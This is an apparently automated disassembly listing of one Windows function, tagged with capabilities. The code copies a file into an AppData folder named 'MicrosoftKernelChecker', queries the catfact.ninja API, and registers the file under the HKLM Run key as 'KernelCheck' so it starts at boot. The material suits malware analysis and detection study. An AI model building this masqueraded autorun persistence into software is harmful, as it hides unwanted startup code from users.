Function at 0x140002cd0
Capabilities:
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x198
mov ecx, 0x80
call sym..weak._Znwy.default.__clang_call_terminate
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x90], 0x41
mov qword [rsp + 0x98], 0x38
movups xmm0, xmmword [0x140083794]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [0x140083784]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [0x140083774]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [0x140083764]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x140083754]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x140083744]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x140083734]
movups xmmword [rax], xmm0
mov word [rax + 0x70], 0
lea rcx, section..data
lea rdx, [rsp + 0x90]
call method.Logger.Info_std::__1::basic_string_wchar_t__std::__1::char_traits_wchar_t___std::__1::allocator_wchar_t____const_
test byte [rsp + 0x90], 1
je 0x140002d83
mov rcx, qword [rsp + 0xa0]
call sym..weak._ZdlPv.default.__clang_call_terminate
lea rcx, str.APPDATA
lea rsi, [rsp + 0x90]
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov rcx, rsi
call sym.strlen
lea rdi, [0x1400a9428]
mov rcx, rdi
mov rdx, rsi
mov r8, rax
call method.std::__1::basic_string_char__std::__1::char_traits_char___std::__1::allocator_char___.__assign_external_char_const__unsigned_long_long_
lea rdx, str.MicrosoftKernelChecker_
mov r8d, 0x19
mov rcx, rdi
call method.std::__1::basic_string_char__std::__1::char_traits_char___std::__1::allocator_char___.append_char_const__unsigned_long_long_
call sym.createDirectoryAndFiles__
mov ecx, 0x20
call sym..weak._Znwy.default.__clang_call_terminate
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x50], 0x11
mov qword [rsp + 0x58], 0xd
movups xmm0, xmmword [0x1400837b0]
movups xmmword [rax + 0xa], xmm0
movups xmm0, xmmword [str.catfact.ninja]
movups xmmword [rax], xmm0
mov word [rax + 0x1a], 0
mov byte [rsp + 0x30], 0xa
movabs rax, 0x6300610066002f
mov qword [rsp + 0x32], rax
mov dword [rsp + 0x3a], 0x74
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x50]
lea r8, [rsp + 0x30]
call sym.RequestHTTPS_std::__1::basic_string_wchar_t__std::__1::char_traits_wchar_t___std::__1::allocator_wchar_t____const__std::__1::basic_string_wchar_t__std::__1::char_traits_wchar_t___std::__1::allocator_wchar_t____const_
test byte [rsp + 0x90], 1
je 0x140002e5b
mov rdx, qword [rsp + 0xa0]
jmp 0x140002e63
lea rdx, [rsp + 0x92]
lea r8, [0x1400837ce]
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxW]
test byte [rsp + 0x90], 1
jne 0x140002ea3
test byte [rsp + 0x30], 1
jne 0x140002eb7
test byte [rsp + 0x50], 1
jne 0x140002ec8
movzx esi, byte [0x1400a9428]
test sil, 1
je 0x140002edf
mov rsi, qword [0x1400a9430]
jmp 0x140002ee1
mov rcx, qword [rsp + 0xa0]
call sym..weak._ZdlPv.default.__clang_call_terminate
test byte [rsp + 0x30], 1
je 0x140002e86
mov rcx, qword [rsp + 0x40]
call sym..weak._ZdlPv.default.__clang_call_terminate
test byte [rsp + 0x50], 1
je 0x140002e8d
mov rcx, qword [rsp + 0x60]
call sym..weak._ZdlPv.default.__clang_call_terminate
movzx esi, byte [0x1400a9428]
test sil, 1
jne 0x140002e9a
shr esi, 1
lea rdi, [rsi + 0xf]
cmp rdi, 0xfffffffffffffff0
jae 0x1400032d0
cmp rdi, 0x17
jae 0x140002f2d
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 0
add dil, dil
mov byte [rsp + 0x50], dil
lea rbx, [rsp + 0x51]
mov rdi, rbx
test rsi, rsi
je 0x140002f73
test byte [0x1400a9428], 1
je 0x140002f61
mov rdx, qword [0x1400a9438]
jmp 0x140002f68
mov r14, rdi
or r14, 0xf
lea rcx, [r14 + 1]
call sym..weak._Znwy.default.__clang_call_terminate
mov rbx, rax
add r14, 2
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], rdi
lea rdi, [rsp + 0x51]
test byte [0x1400a9428], 1
jne 0x140002f24
lea rdx, [0x1400a9429]
mov rcx, rbx
mov r8, rsi
call sym.memmove
movabs rax, 0x6578652e6b636568
mov qword [rbx + rsi + 7], rax
movabs rax, 0x68636c656e72656b
mov qword [rbx + rsi], rax
mov byte [rbx + rsi + 0xf], 0
test byte [rsp + 0x50], 1
je 0x140002fa1
mov rdi, qword [rsp + 0x60]
lea rsi, [rsp + 0x90]
mov rcx, rsi
mov rdx, rdi
call sym.strcpy
mov ecx, 0x150
call sym..weak._Znwy.default.__clang_call_terminate
mov rdi, rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 0xa9
mov qword [rsp + 0x38], 0xa3
lea rdx, str.__appdata__
mov r8d, 0x146
mov rcx, rax
call sym.memcpy
mov word [rdi + 0x146], 0
lea rcx, section..data
lea rdx, [rsp + 0x30]
call method.Logger.Debug_std::__1::basic_string_wchar_t__std::__1::char_traits_wchar_t___std::__1::allocator_wchar_t____const_
test byte [rsp + 0x30], 1
je 0x140003018
mov rcx, qword [rsp + 0x40]
call sym..weak._ZdlPv.default.__clang_call_terminate
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
xor r8d, r8d
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400030be
lea rcx, [rsp + 0x70]
call sym.GetLastErrorAsString__
lea r8, str.RegOpenKeyExA_failed_with_error
lea rcx, [rsp + 0x70]
mov r9d, 0x20
xor edx, edx
call method.std::__1::basic_string_wchar_t__std::__1::char_traits_wchar_t___std::__1::allocator_wchar_t___.insert_unsigned_long_long__wchar_t_const__unsigned_long_long_
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x40], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
lea rcx, section..data
lea rdx, [rsp + 0x30]
call method.Logger.Error_std::__1::basic_string_wchar_t__std::__1::char_traits_wchar_t___std::__1::allocator_wchar_t____const_
test byte [rsp + 0x30], 1
je 0x1400030aa
mov rcx, qword [rsp + 0x40]
call sym..weak._ZdlPv.default.__clang_call_terminate
test byte [rsp + 0x70], 1
je 0x1400030be
mov rcx, qword [rsp + 0x80]
call sym..weak._ZdlPv.default.__clang_call_terminate
mov ecx, 0x80
call sym..weak._Znwy.default.__clang_call_terminate
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 0x41
mov qword [rsp + 0x38], 0x3d
movups xmm0, xmmword [0x140083a06]
movups xmmword [rax + 0x6a], xmm0
movups xmm0, xmmword [0x1400839fc]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [0x1400839ec]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [0x1400839dc]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [0x1400839cc]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [str._KernelCheck_____.]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1400839ac]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14008399c]
movups xmmword [rax], xmm0
mov word [rax + 0x7a], 0
lea rcx, section..data
lea rdx, [rsp + 0x30]
call method.Logger.Debug_std::__1::basic_string_wchar_t__std::__1::char_traits_wchar_t___std::__1::allocator_wchar_t____const_
test byte [rsp + 0x30], 1
je 0x14000315e
mov rcx, qword [rsp + 0x40]
call sym..weak._ZdlPv.default.__clang_call_terminate
mov rdi, qword [rsp + 0x88]
mov rcx, rsi
call sym.strlen
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
lea rdx, str.KernelCheck
mov rcx, rdi
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14000320e
lea rcx, [rsp + 0x70]
call sym.GetLastErrorAsString__
lea r8, str.RegSetValueExA_failed_with_error
lea rcx, [rsp + 0x70]
mov r9d, 0x21
xor edx, edx
call method.std::__1::basic_string_wchar_t__std::__1::char_traits_wchar_t___std::__1::allocator_wchar_t___.insert_unsigned_long_long__wchar_t_const__unsigned_long_long_
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x40], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
lea rcx, section..data
lea rdx, [rsp + 0x30]
call method.Logger.Error_std::__1::basic_string_wchar_t__std::__1::char_traits_wchar_t___std::__1::allocator_wchar_t____const_
test byte [rsp + 0x30], 1
je 0x1400031fa
mov rcx, qword [rsp + 0x40]
call sym..weak._ZdlPv.default.__clang_call_terminate
test byte [rsp + 0x70], 1
je 0x14000320e
mov rcx, qword [rsp + 0x80]
call sym..weak._ZdlPv.default.__clang_call_terminate
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x70
call sym..weak._Znwy.default.__clang_call_terminate
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 0x39
mov qword [rsp + 0x38], 0x35
movups xmm0, xmmword [0x140083ac2]
movups xmmword [rax + 0x5a], xmm0
movups xmm0, xmmword [0x140083ab8]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [0x140083aa8]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [0x140083a98]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x140083a88]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x140083a78]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x140083a68]
movups xmmword [rax], xmm0
mov word [rax + 0x6a], 0
lea rcx, section..data
lea rdx, [rsp + 0x30]
call method.Logger.Info_std::__1::basic_string_wchar_t__std::__1::char_traits_wchar_t___std::__1::allocator_wchar_t____const_
test byte [rsp + 0x30], 1
je 0x1400032b1
mov rcx, qword [rsp + 0x40]
call sym..weak._ZdlPv.default.__clang_call_terminate
test byte [rsp + 0x50], 1
je 0x1400032c2
mov rcx, qword [rsp + 0x60]
call sym..weak._ZdlPv.default.__clang_call_terminate
nop
add rsp, 0x198
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [rsp + 0x50]
call method.std::__1::basic_string_char__std::__1::char_traits_char___std::__1::allocator_char___.__throw_length_error_abi:ue170006____const
jmp 0x1400032e3
mov rsi, rax
test byte [rsp + 0x30], 1
je 0x1400032fc
mov rcx, qword [rsp + 0x40]
call sym..weak._ZdlPv.default.__clang_call_terminate
jmp 0x1400032fc
test byte [rsp + 0x70], 1
je 0x140003369
mov rcx, qword [rsp + 0x80]
jmp 0x140003348
call sym..weak._ZdlPv.default.__clang_call_terminate
jmp 0x140003369
test byte [rsp + 0x50], 1
je 0x14000337a
mov rcx, qword [rsp + 0x60]
call sym..weak._ZdlPv.default.__clang_call_terminate
mov rcx, rsi
call sym._Unwind_Resume
int3